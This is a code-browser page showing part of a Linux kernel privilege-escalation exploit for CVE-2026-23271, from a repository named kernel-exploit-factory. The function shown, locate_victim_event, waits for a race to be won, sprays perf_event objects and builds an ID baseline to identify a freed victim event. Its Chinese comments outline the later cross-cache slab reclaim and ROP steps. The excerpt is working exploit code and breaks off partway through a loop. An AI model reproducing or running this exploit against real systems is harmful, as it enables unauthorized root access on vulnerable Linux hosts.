MCPcopy Create free account
hub / github.com/bsauce/kernel-exploit-factory / locate_victim_event

Function locate_victim_event

CVE-2026-23271/exploit/exploit.cpp:2417–2577  ·  view source on GitHub ↗

[3] T5 Locator 线程 (CPU 0): 受害者识别 + 跨缓存攻击编排 步骤: [阶段 4] 受害者定位 (ID Oracle): 1. 通过 sync_pipe 等待 Sprayer 完成 2. 建立 spray_b 基线 (记录每个事件 B 的原始 ID) 3. 逐次分配事件 C (probe),每次分配后重新读取所有事件 B 的 ID 4. 如果事件 B 的 ID 发生变化 → 该事件 B 被覆盖 = 受害者 (悬垂 FD) [阶段 5+6] 跨缓存攻击 + ROP 提权: 5. 调用 cross_cache_attack() → 释放 slab, msg_msgseg reclaim, ROP

Source from the content-addressed store, hash-verified

2415// [阶段 5+6] 跨缓存攻击 + ROP 提权:
2416// 5. 调用 cross_cache_attack() → 释放 slab, msg_msgseg reclaim, ROP
2417void *locate_victim_event(void *arg)
2418{
2419 bind_to_cpu(0);
2420
2421 // 用于创建探测事件 C 的属性 (软件 PERF_COUNT_SW_CPU_CLOCK)
2422 struct perf_event_attr spray_attr;
2423 memset(&spray_attr, 0, sizeof(spray_attr));
2424 spray_attr.type = PERF_TYPE_SOFTWARE;
2425 spray_attr.size = sizeof(struct perf_event_attr);
2426 spray_attr.config = PERF_COUNT_SW_CPU_CLOCK;
2427 spray_attr.disabled = 1;
2428 spray_attr.exclude_kernel = 1;
2429
2430 for(int i = 0; i < SPRAY_C_COUNT; i++) {
2431 spray_c_fds[i] = -1;
2432 }
2433
2434 // 阻塞等待 Sprayer 线程完成信号
2435 char sync;
2436 if (read(sync_pipe[0], &sync, 1) < 0) {
2437 log_warn("read sync_pipe failed");
2438 exit_threads = 1;
2439 stop_threads = 1;
2440 __atomic_store_n(&tp_fail_reason, TP_FAIL_WARN_MISS, __ATOMIC_RELEASE);
2441 return NULL;
2442 }
2443 if (sync != 'C') {
2444 log_warn("[Main] WARN not hit, skip spray/locate flow"); // ????? 竞争失败点
2445 exit_threads = 1;
2446 stop_threads = 1;
2447 __atomic_store_n(&tp_fail_reason, TP_FAIL_WARN_MISS, __ATOMIC_RELEASE);
2448 return NULL;
2449 }
2450 __atomic_store_n(&tp_warn_hit, 1, __ATOMIC_RELEASE);
2451 __atomic_store_n(&tp_race_success, 1, __ATOMIC_RELEASE);
2452
2453 // 等待所有 spray_b 线程完成分配
2454 log_dbg("[3] Waiting for spray_b completion...");
2455 {
2456 uint64_t spray_wait_start = get_time_ns();
2457 while (__atomic_load_n(&tp_spray_open_done, __ATOMIC_ACQUIRE) < SPRAY_B_COUNT &&
2458 (get_time_ns() - spray_wait_start) < TP_SPRAY_DONE_WAIT_NS) {
2459 usleep(1000);
2460 }
2461 log_dbg("[3] spray_b done: %d/%d", __atomic_load_n(&tp_spray_open_done, __ATOMIC_ACQUIRE), SPRAY_B_COUNT);
2462 }
2463
2464 // ---- ID 基线建立 ----
2465// [3-1] 对所有 spray_b 事件,通过 ioctl(PERF_EVENT_IOC_ID) 记录其原始 ID (读取 `event->id`)
2466 memset(spray_b_id_valid, 0, sizeof(spray_b_id_valid));
2467 {
2468 int valid_ids = 0;
2469 uint64_t start_ns = get_time_ns();
2470
2471 while (valid_ids < TP_BASELINE_MIN_VALID_IDS &&
2472 (get_time_ns() - start_ns) < TP_BASELINE_WAIT_NS) {
2473 for (int i = 0; i < SPRAY_B_COUNT; i++) {
2474 uint64_t id_val = 0;

Callers

nothing calls this directly

Calls 5

bind_to_cpuFunction · 0.85
get_time_nsFunction · 0.85
user_synchronize_rcuFunction · 0.85
perf_event_openFunction · 0.85
cross_cache_attackFunction · 0.85

Tested by

no test coverage detected